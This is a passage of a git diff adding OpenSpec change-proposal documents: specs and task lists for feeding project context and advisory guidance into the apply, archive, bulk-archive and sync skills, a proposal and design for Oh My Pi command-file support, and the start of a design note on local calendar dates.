**AND** this change does not modify the CLI-returned state, missing artifacts, tasks, progress, context files, or built-in instruction +- **AND** the template tells the agent that neither field is evidence of task completion or permission to bypass a blocked state +- **AND** the system does not represent that prompt-level precedence as an enforceable check + +#### Scenario: Apply consumes runtime instructions without copying them + +- **WHEN** the skill receives context or operation guidance +- **THEN** it does not copy those fields verbatim into implementation files or planning artifacts unless separately requested by the user + +### Requirement: Preserve apply workflow behavior + +The `/opsx:apply` skill template and CLI contract SHALL keep their existing change selection, context loading, task progression, pause-on-blocker behavior, and completion reporting structure in this change. + +#### Scenario: Runtime inputs are consumed + +- **WHEN** apply instructions return configured operation inputs +- **THEN** no CLI-controlled apply state transition, required implementation task, or completion criterion is added, removed, or replaced solely by this change diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-archive-skill/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-archive-skill/spec.md new file mode 100644 index 0000000000..1dc144d5c9 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-archive-skill/spec.md @@ -0,0 +1,106 @@ +## ADDED Requirements + +### Requirement: Load current archive operation inputs + +The `/opsx:archive` skill SHALL request current archive operation inputs after resolving the target change and selected planning root, while preserving its existing archive workflow. + +#### Scenario: Archive context and guidance are configured + +- **WHEN** the skill has selected a change +- **AND** current config contains project context and `operations.archive.guidance` +- **THEN** the skill calls `openspec instructions archive --change "" --json` with the selected-root context +- **AND** treats context as a required prompt-level instruction input +- **AND** tells the agent to read it and apply relevant project facts, conventions, and constraints +- **AND** treats operation guidance as optional additive advice +- **AND** tells the agent to read and consider it and follow entries that are applicable and compatible with the built-in archive workflow + +#### Scenario: Archive operation inputs are absent + +- **WHEN** archive instruction output omits context and operation guidance +- **THEN** the skill continues with its existing archive workflow + +#### Scenario: Archive instruction lookup fails + +- **WHEN** `openspec instructions archive --change "" --json` exits non-zero or does not return valid archive-instruction JSON +- **THEN** the skill reports the instruction lookup error +- **AND** stops before inspecting or writing specs or moving the change +- **AND** does not treat the failed lookup as absent context or operation guidance + +#### Scenario: Archive context or guidance conflicts with the workflow + +- **WHEN** returned context or operation guidance conflicts with a built-in archive step, explicit user choice, resolved path, or command contract +- **THEN** the generated skill keeps required project context and advisory operation guidance separate from built-in steps and CLI-derived values +- **AND** tells the agent to report context conflicts +- **AND** tells the agent to explain why conflicting or inapplicable operation guidance was not followed +- **AND** this change leaves existing CLI checks, resolved paths, and command contracts unchanged +- **AND** the template tells the agent not to infer replacement paths, skipped prompts, or command flags from either field +- **AND** the system does not represent that prompt-level precedence as an enforceable check + +#### Scenario: Archive consumes runtime instructions without copying them + +- **WHEN** the skill receives context or operation guidance +- **THEN** it does not copy those fields verbatim into specs, change artifacts, or archive summaries unless separately requested by the user + +### Requirement: Preserve archive execution behavior + +The `/opsx:archive` skill SHALL keep its existing completion checks, task checks, spec-sync decision, confirmation behavior, archive move, and completion summary in this change. + +#### Scenario: Runtime inputs are loaded + +- **WHEN** archive instructions return configured inputs +- **THEN** no archive execution phase, filesystem operation, or user decision is added, removed, or reordered solely by this change + +### Requirement: Carry artifact rules into archive-driven spec sync + +The `/opsx:archive` skill SHALL fetch current `specs` artifact instructions before archive-driven spec sync writes main specs and SHALL use the returned artifact rules only to constrain those specs. + +#### Scenario: Archive discovers delta specs from the specs artifact + +- **WHEN** archive assesses delta specs for a selected change +- **THEN** it uses `artifactPaths.specs.existingOutputPaths` from that change's status output as the complete delta-spec input +- **AND** does not infer delta specs from other artifacts + +#### Scenario: Schema or change has no specs outputs + +- **WHEN** `artifactPaths.specs` is absent or its `existingOutputPaths` list is empty +- **THEN** archive continues without a spec-sync prompt +- **AND** does not request `specs` artifact instructions + +#### Scenario: Archive sync writes main specs + +- **WHEN** `artifactPaths.specs.existingOutputPaths` contains delta specs +- **AND** the user chooses to sync them during archive +- **THEN** the skill requests `openspec instructions specs --change "" --json` once using the selected change and planning root +- **AND** applies the returned artifact rules while semantically merging the delta into the main spec +- **AND** keeps artifact rules separate from archive `operationGuidance` +- **AND** passes the specs-rule snapshot to the inline sync workflow so that workflow does not fetch the same instructions again + +#### Scenario: Specs instruction lookup fails + +- **WHEN** delta specs exist and the user chooses to sync them during archive +- **AND** `openspec instructions specs --change "" --json` exits non-zero or does not return valid artifact-instruction JSON +- **THEN** the skill reports the instruction lookup error +- **AND** stops before modifying any main spec or moving the change +- **AND** does not treat the failed lookup as an absent artifact rule set + +#### Scenario: User archives without syncing + +- **WHEN** delta specs exist and the user explicitly chooses archive without syncing +- **THEN** the skill does not request `specs` artifact instructions for a merge +- **AND** the existing archive-without-sync path continues + +#### Scenario: Artifact rules are absent + +- **WHEN** archive-driven spec sync receives no rules from `specs` artifact instructions +- **THEN** the existing semantic merge behavior continues unchanged + +#### Scenario: Artifact rules contain operation-like advice + +- **WHEN** an artifact rule describes archive paths, prompts, command flags, or unrelated workflow steps +- **THEN** the generated skill limits that rule to the content and form of the artifact being written +- **AND** existing archive paths, prompts, CLI checks, and command contracts remain unchanged + +#### Scenario: Artifact rule text is consumed + +- **WHEN** archive-driven spec sync applies artifact rules +- **THEN** the rules guide the resulting artifact without being copied verbatim into that artifact or the archive summary diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-bulk-archive-skill/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-bulk-archive-skill/spec.md new file mode 100644 index 0000000000..a326090a6a --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-bulk-archive-skill/spec.md @@ -0,0 +1,78 @@ +## ADDED Requirements + +### Requirement: Load current archive inputs for a batch + +The `/opsx:bulk-archive` skill SHALL request current archive operation inputs once for the selected planning root without changing its existing batch orchestration. + +#### Scenario: Batch context and guidance are configured + +- **WHEN** the skill has selected one or more changes from one planning root +- **THEN** it calls `openspec instructions archive --change "" --json` once for that root +- **AND** treats context as a required prompt-level instruction input and applies relevant project facts, conventions, and constraints across the batch +- **AND** treats operation guidance as optional additive advice, considers every entry, and follows entries that are applicable and compatible with the built-in batch workflow + +#### Scenario: Batch operation inputs are absent + +- **WHEN** archive instruction output omits context and operation guidance +- **THEN** the skill continues with its existing bulk archive behavior + +#### Scenario: Batch archive instruction lookup fails + +- **WHEN** `openspec instructions archive --change "" --json` exits non-zero or does not return valid archive-instruction JSON +- **THEN** the skill reports the instruction lookup error +- **AND** stops the batch before inspecting or writing specs or moving any change +- **AND** does not treat the failed lookup as absent context or operation guidance + +#### Scenario: Context or guidance conflicts with batch behavior + +- **WHEN** context or operation guidance conflicts with built-in conflict analysis, explicit user choices, resolved paths, or command contracts +- **THEN** the generated skill keeps required project context and advisory operation guidance separate from conflict analysis and CLI-derived values +- **AND** tells the agent to report context conflicts +- **AND** tells the agent to explain why conflicting or inapplicable operation guidance was not followed +- **AND** this change leaves existing CLI checks, resolved paths, and command contracts unchanged +- **AND** the template tells the agent not to infer skipped prompts, replacement paths, or command flags from either field +- **AND** the system does not represent that prompt-level precedence as an enforceable check + +### Requirement: Carry artifact rules into each batch spec sync + +The `/opsx:bulk-archive` skill SHALL fetch current `specs` artifact instructions for each selected change with concrete delta specs and SHALL use the returned artifact rules only for main specs written by that change's merge. + +#### Scenario: Discover specs inputs per change + +- **WHEN** bulk archive assesses delta specs for a selected change +- **THEN** it uses that change's `artifactPaths.specs.existingOutputPaths` as the complete delta-spec input +- **AND** does not infer delta specs from other artifacts + +#### Scenario: Selected changes use different schemas + +- **WHEN** a batch contains changes using different schemas +- **THEN** the skill evaluates `artifactPaths.specs.existingOutputPaths` separately for each change +- **AND** requests `specs` artifact instructions once for each change whose list contains delta specs, using that change and selected root +- **AND** obtains every required specs-instruction snapshot before the first main-spec write +- **AND** applies each returned rule set only to main specs produced from that change +- **AND** passes each change's specs-rule snapshot to its inline sync workflow without a duplicate instruction fetch + +#### Scenario: A batch specs instruction lookup fails + +- **WHEN** a required `openspec instructions specs --change "" --json` lookup exits non-zero or does not return valid artifact-instruction JSON +- **THEN** the skill reports the affected change and instruction lookup error +- **AND** stops the whole batch before writing any main spec or moving any change +- **AND** does not treat the failed lookup as an absent artifact rule set + +#### Scenario: A batch change has no specs outputs + +- **WHEN** a selected change has no `artifactPaths.specs` entry or its `existingOutputPaths` list is empty +- **THEN** no spec sync or `specs` instruction lookup is performed for that change +- **AND** the change continues through the existing batch archive flow + +#### Scenario: Batch artifact rules remain separate from archive guidance + +- **WHEN** artifact instructions contain rules and archive instructions contain `operationGuidance` +- **THEN** artifact rules constrain spec content and form +- **AND** configured archive guidance remains optional additive advice for choices within the archive operation +- **AND** neither field is relabeled or merged into the other + +#### Scenario: Batch has no artifact rules + +- **WHEN** `specs` artifact instructions return no rules for a selected change +- **THEN** the existing batch conflict resolution and semantic merge behavior continue unchanged diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/specs-sync-skill/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/specs-sync-skill/spec.md new file mode 100644 index 0000000000..2b6c166f01 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/specs-sync-skill/spec.md @@ -0,0 +1,42 @@ +## ADDED Requirements + +### Requirement: Carry artifact rules into standalone spec sync + +The `/opsx:sync` skill SHALL use the selected change's concrete `specs` artifact outputs as its delta-spec input and SHALL apply current `specs` artifact rules before writing a main spec. + +#### Scenario: Discover delta specs from status + +- **WHEN** standalone sync assesses a selected change +- **THEN** it uses `artifactPaths.specs.existingOutputPaths` from that change's status output as the complete delta-spec input +- **AND** does not infer delta specs from other artifacts + +#### Scenario: Standalone sync fetches current artifact rules + +- **WHEN** `artifactPaths.specs.existingOutputPaths` contains one or more delta specs +- **THEN** standalone sync requests `openspec instructions specs --change "" --json` once using the selected change and planning root +- **AND** applies only the returned artifact rules to main specs produced from those delta paths +- **AND** keeps artifact rules separate from operation guidance and unrelated workflow steps + +#### Scenario: Specs instruction lookup fails + +- **WHEN** `openspec instructions specs --change "" --json` exits non-zero or does not return valid artifact-instruction JSON +- **THEN** standalone sync reports the instruction lookup error +- **AND** stops before writing any main spec +- **AND** does not treat the failed lookup as an absent artifact rule set + +#### Scenario: Schema or change has no specs outputs + +- **WHEN** `artifactPaths.specs` is absent or its `existingOutputPaths` list is empty +- **THEN** standalone sync reports that there are no delta specs to sync +- **AND** does not request artifact instructions or write a main spec + +#### Scenario: Archive supplies an artifact-rule snapshot + +- **WHEN** the sync workflow is invoked inline by archive with a specs-rule snapshot from current artifact instructions +- **THEN** it reuses that supplied snapshot +- **AND** does not fetch `specs` artifact instructions again + +#### Scenario: Artifact rules are absent + +- **WHEN** current `specs` instructions contain no rules +- **THEN** the existing semantic merge behavior continues unchanged diff --git a/openspec/changes/extend-config-injection-to-apply-archive/tasks.md b/openspec/changes/extend-config-injection-to-apply-archive/tasks.md new file mode 100644 index 0000000000..a8fe23cece --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/tasks.md @@ -0,0 +1,51 @@ +## 1. Project Config Model + +- [x] 1.1 Add explicit `apply` and `archive` operation IDs plus typed `operations..guidance` config structures without changing artifact `rules` +- [x] 1.2 Extend resilient config parsing to preserve valid operations, omit malformed entries independently, filter empty guidance, and warn for unknown operations or fields +- [x] 1.3 Preserve non-empty multi-line and Markdown guidance without rewriting its content +- [x] 1.4 Update config generation and help text with separate artifact-rule and advisory operation-guidance examples +- [x] 1.5 Add project-config tests for valid, absent, malformed, mixed-validity, empty, unknown, multi-line, and Markdown operation guidance + +## 2. Shared Runtime Inputs + +- [x] 2.1 Extend the existing root-config loading path to read project config once per instruction command, then pass that parsed snapshot to a shared operation-input helper returning separate optional `context` and `operationGuidance` fields +- [x] 2.2 Ensure each new command invocation reads a fresh config snapshot, omits empty values, avoids duplicate malformed-field warnings, and never exposes artifact rules as operation guidance +- [x] 2.3 Add unit tests for operation matching, runtime freshness across commands, one-read/one-warning behavior within a command, absent fields, field separation, and selected-store roots + +## 3. Apply Instructions + +- [x] 3.1 Extend apply instruction types and generation with current `context` and apply `operationGuidance` while preserving existing state, progress, tasks, context files, references, and root output +- [x] 3.2 Render project context as a required prompt-level input section and operation guidance as a separate advisory section in apply text output +- [x] 3.3 Update the apply skill and generated templates to require relevant context consumption, consider every guidance entry, and follow guidance only when applicable and compatible with the built-in workflow +- [x] 3.4 Keep both fields separate from CLI-returned state, tasks, progress, context files, and built-in instructions; report context conflicts, explain rejected guidance, prevent input copying, and preserve blocked/ready/all-done behavior +- [x] 3.5 Add unit, CLI integration, and template-parity tests for required context labeling and consumption, advisory guidance handling, conflict reporting, absent inputs, runtime freshness, and unchanged apply state behavior + +## 4. Archive Runtime Inputs + +- [x] 4.1 Route `openspec instructions archive --change ` to a dedicated read-only archive instruction handler using existing repo/store root resolution and change validation +- [x] 4.2 Return `changeName`, optional current `context`, optional archive `operationGuidance`, and the normal root envelope in JSON without returning the static archive workflow template +- [x] 4.3 Render project context as a required prompt-level input section and operation guidance as a separate advisory section in human-readable archive output, with a valid empty-input result +- [x] 4.4 Add tests for required and invalid changes, selected stores, runtime freshness, absent inputs, JSON output, final text labels, and absence of archive filesystem mutations + +## 5. Archive and Sync Skill Consumption + +- [x] 5.1 Fetch current archive inputs in the single-change archive workflow after resolving the selected change and root, and stop before spec inspection, writes, or moves on a non-zero or invalid JSON response +- [x] 5.2 Fetch archive inputs once per selected root in bulk archive and stop the whole batch before spec inspection, writes, or moves on lookup failure +- [x] 5.3 Require single and bulk archive skills to apply relevant context, treat operation guidance as advisory, report context conflicts, and explain guidance that is inapplicable or conflicts with controlling workflow input +- [x] 5.4 Keep `artifactPaths.specs.existingOutputPaths` as the only delta-spec source in archive, bulk archive, and standalone sync; treat a missing `specs` entry or empty output list as no spec sync and do not infer deltas from other artifacts +- [x] 5.5 Before archive-driven spec sync writes a main spec, fetch `openspec instructions specs` once for the selected change/root, apply its rules to the semantic merge, and pass the specs-rule snapshot into inline sync; stop before any main-spec write or change move on lookup failure +- [x] 5.6 Fetch current `specs` instructions during standalone sync, reuse an archive-supplied specs-rule snapshot without re-fetching, and stop before writing a main spec on direct lookup failure +- [x] 5.7 Resolve every required specs-instruction snapshot in bulk archive before the first main-spec write; report the affected change and stop the whole batch before writes or moves if any lookup fails +- [x] 5.8 Keep context, advisory operation guidance, artifact rules, conflict analysis, and CLI-derived values structurally separate; constrain rules to written artifacts, preserve existing checks and contracts, and prevent instruction text from being copied into output files +- [x] 5.9 Preserve existing single-change and bulk archive orchestration, prompts, semantic merge ownership, filesystem operations, and summaries +- [x] 5.10 Add tests for required context and advisory guidance semantics, conflict reporting, present/missing/empty `artifactPaths.specs`, artifact rules, selected roots, direct and inline sync, snapshot reuse, invalid responses, no-write/no-move behavior, mixed-schema batches, field separation, unchanged CLI checks, and non-copying +- [x] 5.11 Regenerate checked-in apply, archive, bulk archive, and sync skills and update affected template/golden hashes + +## 6. Documentation and Verification + +- [x] 6.1 Document required context consumption, advisory `operations.apply.guidance` and `operations.archive.guidance`, runtime freshness, selected-root behavior, field separation, fail-closed archive/specs instruction consumption, `artifactPaths.specs` as the spec-sync contract, `specs` rules travelling with produced main specs, and the read-only archive instruction command +- [x] 6.2 Document that archive execution phases, semantic merge ownership, direct archive CLI behavior, and artifact-rule configuration/output remain unchanged by this change +- [x] 6.3 Add a minor changeset covering runtime apply/archive inputs and archive-driven spec-rule consumption +- [x] 6.4 Run formatting, type checking, build, targeted config/apply/archive/template tests, and the full test suite +- [x] 6.5 Verify repo/store root selection and path handling on Windows CI and the existing supported platforms +- [x] 6.6 Run `openspec validate extend-config-injection-to-apply-archive --strict` and reconcile every task with the final implementation diff diff --git a/openspec/changes/feat-add-omp-tool-support/.openspec.yaml b/openspec/changes/feat-add-omp-tool-support/.openspec.yaml new file mode 100644 index 0000000000..34f9314d22 --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-06-29 diff --git a/openspec/changes/feat-add-omp-tool-support/design.md b/openspec/changes/feat-add-omp-tool-support/design.md new file mode 100644 index 0000000000..d5de2cad5a --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/design.md @@ -0,0 +1,59 @@ +## Context + +OpenSpec supports AI coding assistants by generating two artifact types per tool: skill files (for agent instruction loading) and command files (for slash-command invocation). Each tool has a `ToolCommandAdapter` that controls the output path and file format. + +Oh My Pi (OMP) is a terminal AI coding agent that uses a `.omp/` project directory. Its command system uses the filename stem as the slash command name (e.g., `opsx-propose.md` → `/opsx-propose`), which requires command body references to be in hyphenated form (`/opsx-propose` rather than `/opsx:propose`). This is the same pattern already used by Pi and OpenCode. + +## Goals / Non-Goals + +**Goals:** +- Add a `ToolCommandAdapter` for Oh My Pi producing `.omp/commands/opsx-.md` with `description` frontmatter. +- Inject `**Provided arguments**: $@` after the `**Input**:` heading in command bodies so user-supplied arguments are visible to the agent when a command is invoked with arguments. +- Register the adapter so `init` and `update` can generate command files and skill files for OMP. +- Apply `transformToHyphenCommands` to OMP skill bodies so `/opsx:` references become `/opsx-` for consistency with the command naming convention. +- Add OMP to `AI_TOOLS` so it appears in tool selection and auto-detection. + +**Non-Goals:** +- Changing the file format used by Pi or OpenCode. +- Adding OMP-specific frontmatter fields beyond `description`. +- Auto-detecting OMP presence (the `.omp/` directory is sufficient as `skillsDir`). + +## Decisions + +### Reuse the existing `transformToHyphenCommands` transformer for skill files + +**Decision**: Add `'oh-my-pi'` to the `tool.value` conditional in `init.ts` and `update.ts` that selects the hyphen transformer. + +**Rationale**: Pi and OpenCode follow the same filename-as-command-name convention and are already handled by this branch. OMP has an identical convention. Extending the same conditional is minimal-diff and keeps the pattern consistent. + +**Alternative considered**: Storing the transformer flag on the `AIToolOption` object (e.g., `useHyphenCommands: true`). This is cleaner long-term but is a larger refactor than this change warrants. It can be done separately if more tools adopt this convention. + +### Use `description`-only frontmatter in command files + +**Decision**: The `formatFile` method outputs only a `description` YAML field in frontmatter. + +**Rationale**: OMP's command format uses filename for the slash command name and `description` for display. No additional frontmatter fields (name, category, tags) are needed, matching the minimalist approach used by Pi. + +### Inject `$@` into command bodies (matching Pi) + +**Decision**: Apply the same `injectArgs` logic as Pi's adapter — append `**Provided arguments**: $@` on the line after the `**Input**:` heading, skipping injection if `$@` or `$ARGUMENTS` is already present. + +**Rationale**: OpenSpec command templates contain an `**Input**:` heading that describes what arguments the command accepts (e.g., `**Input**: The argument after /opsx-propose is the change name…`). Without injecting `$@`, a user running `/opsx-propose my-feature` passes `my-feature` as `$@` but the agent never sees it — the argument is silently discarded. OMP's prompt template spec explicitly supports `$@` and positional forms. Pi faces the same problem and already solves it with identical injection logic. + +**Alternative considered**: Leaving injection out and relying on users to add `$@` manually to the template. Rejected: this would silently break argument passing for all OMP commands and diverge from Pi's established behavior. + +### Tool ID is `'oh-my-pi'`, skills directory is `'.omp'` + +**Decision**: `value: 'oh-my-pi'` in `AI_TOOLS`; `skillsDir: '.omp'`. + +**Rationale**: The tool ID uses the full kebab-case name for human clarity. The `.omp/` directory is the short canonical path users will see on disk. The two are independent and follow the precedent set by `kilocode` (ID) → `.kilocode` (dir). + +## Risks / Trade-offs + +- **`.omp/` directory collision**: If a project uses `.omp/` for another purpose, OMP detection will yield a false positive. → Mitigation: This is consistent with how every other tool is detected; no special handling is warranted. +- **Conditional growth in init.ts / update.ts**: Adding a third value to the `tool.value === 'opencode' || tool.value === 'pi'` checks makes the long-term refactor to a per-tool flag more urgent. → Mitigation: Document in tasks; the refactor is low-risk and can follow separately. +- **Adapter missing `escapeYamlValue`**: If a command description contains special YAML characters, the description frontmatter could be malformed. → Mitigation: `escapeYamlValue` is applied in this implementation (task 1.2), consistent with Pi adapter. + +## Open Questions + +None — implementation is well-defined by the existing Pi/OpenCode/OMP pattern. diff --git a/openspec/changes/feat-add-omp-tool-support/proposal.md b/openspec/changes/feat-add-omp-tool-support/proposal.md new file mode 100644 index 0000000000..6bb5c80781 --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/proposal.md @@ -0,0 +1,34 @@ +## Why + +Oh My Pi (OMP) is a terminal AI coding agent whose users expect OpenSpec workflows to be available as slash commands. Without an adapter, users who have OMP configured in their project cannot generate OMP-native command files or get the correct skill transformations from `openspec init` or `openspec update`. + +## What Changes + +- Add a `ToolCommandAdapter` for Oh My Pi that generates command files at `.omp/commands/opsx-.md` with YAML `description` frontmatter, hyphen-based command references, and `$@` argument injection after the `**Input**:` heading (matching Pi's convention so user-supplied arguments are visible to the agent). +- Register `oh-my-pi` in `AI_TOOLS` with `skillsDir: '.omp'` so detection and skill generation work. +- Register the new adapter in `CommandAdapterRegistry` and `adapters/index.ts`. +- Add Oh My Pi to the `transformToHyphenCommands` whitelist in `init.ts` and `update.ts` so skill files use the correct `/opsx-*` invocation form that matches OMP's filename-based command naming. +- Add test coverage for the new adapter. +- Update `docs/supported-tools.md` with the new tool's directory reference. + +## Capabilities + +### New Capabilities + +- `oh-my-pi-tool`: Command and skill generation support for the Oh My Pi (OMP) AI coding agent, following its `.omp/commands/opsx-.md` format with `description` frontmatter, hyphen-based command references, and `$@` argument injection. + +### Modified Capabilities + +- `cli-init`: Oh My Pi is added to the supported tool list and the hyphen-command transformer whitelist. +- `cli-update`: Oh My Pi is added to the hyphen-command transformer whitelist for skill regeneration. + +## Impact + +- `src/core/command-generation/adapters/oh-my-pi.ts` — new adapter +- `src/core/command-generation/adapters/index.ts` — export new adapter +- `src/core/command-generation/registry.ts` — register adapter +- `src/core/config.ts` — add `oh-my-pi` entry to `AI_TOOLS` +- `src/core/init.ts` — extend hyphen-command transformer conditional +- `src/core/update.ts` — extend hyphen-command transformer conditional (two call sites) +- `test/core/command-generation/adapters.test.ts` — adapter unit tests +- `docs/supported-tools.md` — add Oh My Pi row to directory reference table diff --git a/openspec/changes/feat-add-omp-tool-support/specs/cli-init/spec.md b/openspec/changes/feat-add-omp-tool-support/specs/cli-init/spec.md new file mode 100644 index 0000000000..82fe16cac5 --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/specs/cli-init/spec.md @@ -0,0 +1,15 @@ +## ADDED Requirements + +### Requirement: Oh My Pi tool supported in init +The `openspec init` command SHALL support Oh My Pi as a configurable tool, generating both skill files and command files using Oh My Pi's conventions when selected. + +#### Scenario: Selecting Oh My Pi during init +- **WHEN** a user selects Oh My Pi during `openspec init` +- **THEN** skill files are written to `.omp/skills/openspec-/SKILL.md` for each active command +- **AND** command files are written to `.omp/commands/opsx-.md` for each active command +- **AND** skill file bodies use hyphen-based `/opsx-` command references +- **AND** command file bodies have `**Provided arguments**: $@` injected after any `**Input**:` heading + +#### Scenario: Oh My Pi listed when .omp directory is detected +- **WHEN** the project root contains a `.omp/` directory +- **THEN** Oh My Pi is pre-checked in the tool selection during `openspec init` diff --git a/openspec/changes/feat-add-omp-tool-support/specs/cli-update/spec.md b/openspec/changes/feat-add-omp-tool-support/specs/cli-update/spec.md new file mode 100644 index 0000000000..2457ea6b47 --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/specs/cli-update/spec.md @@ -0,0 +1,13 @@ +## ADDED Requirements + +### Requirement: Oh My Pi tool supported in update +The `openspec update` command SHALL refresh Oh My Pi skill files and command files when Oh My Pi is configured, using Oh My Pi's hyphen-based command reference convention. + +#### Scenario: Updating Oh My Pi skill files +- **WHEN** `openspec update` runs and Oh My Pi is a configured tool +- **THEN** skill files in `.omp/skills/openspec-/SKILL.md` are refreshed with the latest templates +- **AND** skill file bodies use hyphen-based `/opsx-` command references + +#### Scenario: Updating Oh My Pi command files +- **WHEN** `openspec update` runs and Oh My Pi is a configured tool +- **THEN** command files are written to `.omp/commands/opsx-.md` for each workflow in the active profile, creating them if they do not yet exist and overwriting them if they do diff --git a/openspec/changes/feat-add-omp-tool-support/specs/oh-my-pi-tool/spec.md b/openspec/changes/feat-add-omp-tool-support/specs/oh-my-pi-tool/spec.md new file mode 100644 index 0000000000..a7050e7a47 --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/specs/oh-my-pi-tool/spec.md @@ -0,0 +1,48 @@ +## ADDED Requirements + +### Requirement: Oh My Pi command file generation +OpenSpec SHALL generate command files for Oh My Pi in `.omp/commands/opsx-.md`, one per active workflow command. + +Each file SHALL include a YAML frontmatter block with a `description` field. The command body SHALL transform `/opsx:` references to `/opsx-` to match Oh My Pi's filename-based slash command naming (e.g., `opsx-propose.md` → `/opsx-propose`). It SHALL inject `**Provided arguments**: $@` on the line immediately following any `**Input**:` heading, unless `$@` or `$ARGUMENTS` is already present in the body. + +#### Scenario: Command file path follows OMP convention +- **WHEN** OpenSpec generates a command file for Oh My Pi for workflow command `propose` +- **THEN** the file is written to `.omp/commands/opsx-propose.md` + +#### Scenario: Command file format includes description frontmatter +- **WHEN** OpenSpec writes a command file for Oh My Pi +- **THEN** the file begins with a YAML frontmatter block containing only a `description` field +- **AND** the body follows the closing `---` + +#### Scenario: Command body uses hyphen-based references +- **WHEN** OpenSpec writes a command file for Oh My Pi whose body contains `/opsx:apply` or similar colon-style references +- **THEN** those references are transformed to `/opsx-apply` in the output file + +#### Scenario: Command body exposes user arguments via $@ +- **WHEN** OpenSpec writes a command file for Oh My Pi whose body contains a `**Input**:` heading and no existing `$@` or `$ARGUMENTS` reference +- **THEN** `**Provided arguments**: $@` is injected on the line immediately after the `**Input**:` heading +- **AND** when the user invokes `/opsx-propose my-feature`, the agent receives `my-feature` as the value of `$@` + +### Requirement: Oh My Pi skill file generation +OpenSpec SHALL generate skill files for Oh My Pi in `.omp/skills/openspec-/SKILL.md`, one per active workflow command. + +Skill file bodies SHALL have `/opsx:` references transformed to `/opsx-` so that skill invocations refer to the correct hyphen-based slash command names. + +#### Scenario: Skill file path follows OMP convention +- **WHEN** OpenSpec generates a skill file for Oh My Pi for workflow command `explore` +- **THEN** the file is written to `.omp/skills/openspec-explore/SKILL.md` + +#### Scenario: Skill body uses hyphen-based references +- **WHEN** OpenSpec writes a skill file for Oh My Pi whose body contains `/opsx:explore` +- **THEN** the reference is transformed to `/opsx-explore` in the output file + +### Requirement: Oh My Pi tool detection +OpenSpec SHALL detect an Oh My Pi installation when the `.omp/` directory exists at the project root, and SHALL present Oh My Pi as a selectable tool in `openspec init` and `openspec update`. + +#### Scenario: Auto-detection when .omp directory exists +- **WHEN** the project root contains a `.omp/` directory +- **THEN** Oh My Pi is listed as a detected tool during `openspec init` and `openspec update` + +#### Scenario: Oh My Pi appears in the tool selection list +- **WHEN** a user runs `openspec init` interactively +- **THEN** Oh My Pi appears as a selectable option in the tool list diff --git a/openspec/changes/feat-add-omp-tool-support/tasks.md b/openspec/changes/feat-add-omp-tool-support/tasks.md new file mode 100644 index 0000000000..ea394c137e --- /dev/null +++ b/openspec/changes/feat-add-omp-tool-support/tasks.md @@ -0,0 +1,30 @@ +## 1. Adapter + +- [x] 1.1 Create `src/core/command-generation/adapters/oh-my-pi.ts` with `ohMyPiAdapter` (toolId `'oh-my-pi'`, path `.omp/commands/opsx-.md`, description-only frontmatter, `transformToHyphenCommands` on body) +- [x] 1.2 Use `escapeYamlValue` for the `description` frontmatter field (consistent with Pi adapter) +- [x] 1.3 Export `ohMyPiAdapter` from `src/core/command-generation/adapters/index.ts` +- [x] 1.4 Import and register `ohMyPiAdapter` in `src/core/command-generation/registry.ts` +- [x] 1.5 In `formatFile`, inject `**Provided arguments**: $@` on the line after the `**Input**:` heading (skip if `$@` or `$ARGUMENTS` already present) — matching Pi adapter's `injectPiArgs` logic + +## 2. Tool Registration + +- [x] 2.1 Add `{ name: 'Oh My Pi', value: 'oh-my-pi', available: true, successLabel: 'Oh My Pi', skillsDir: '.omp' }` to `AI_TOOLS` in `src/core/config.ts` (alphabetical by name, between Mistral Vibe and OpenCode) + +## 3. Skill Transformer Wiring + +- [x] 3.1 In `src/core/init.ts`, extend the skill transformer conditional to include `tool.value === 'oh-my-pi'` alongside `'opencode'` and `'pi'` (one occurrence, in `generateSkillsAndCommands`) +- [x] 3.2 In `src/core/update.ts`, extend the skill transformer conditional to include `tool.value === 'oh-my-pi'` alongside `'opencode'` and `'pi'` (two occurrences: primary update loop and `upgradeLegacyTools`) + +## 4. Tests + +- [x] 4.1 In `test/core/command-generation/adapters.test.ts`, add unit tests for `ohMyPiAdapter`: verify `toolId`, `getFilePath` output uses `path.join('.omp', 'commands', 'opsx-.md')`, and `formatFile` produces correct description frontmatter and transformed body +- [x] 4.2 Verify all path assertions in the new tests use `path.join()` (not hardcoded slashes) for cross-platform correctness + +## 5. Documentation + +- [x] 5.1 Add Oh My Pi row to the tool directory reference table in `docs/supported-tools.md`: `| Oh My Pi (\`oh-my-pi\`) | \`.omp/skills/openspec-*/SKILL.md\` | \`.omp/commands/opsx-.md\` |` + +## 6. Verification + +- [x] 6.1 Run `pnpm test` and confirm all tests pass, including the new adapter tests +- [x] 6.2 Run `pnpm build` to confirm TypeScript compilation succeeds with the new adapter diff --git a/openspec/changes/fix-cli-local-date-semantics/.openspec.yaml b/openspec/changes/fix-cli-local-date-semantics/.openspec.yaml new file mode 100644 index 0000000000..4f63482c1e --- /dev/null +++ b/openspec/changes/fix-cli-local-date-semantics/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-07-15 diff --git a/openspec/changes/fix-cli-local-date-semantics/design.md b/openspec/changes/fix-cli-local-date-semantics/design.md new file mode 100644 index 0000000000..c8ee25e62c --- /dev/null +++ b/openspec/changes/fix-cli-local-date-semantics/design.md @@ -0,0 +1,52 @@ +## Context + +The CLI currently creates two user-visible date-only values by truncating `Date#toISOString()`: archive directory prefixes and the `created` field in newly scaffolded `.openspec.yaml` files. ISO serialization is UTC, so either value can disagree with the calendar date in the effective local time zone of the Node.js process running the CLI. + +The 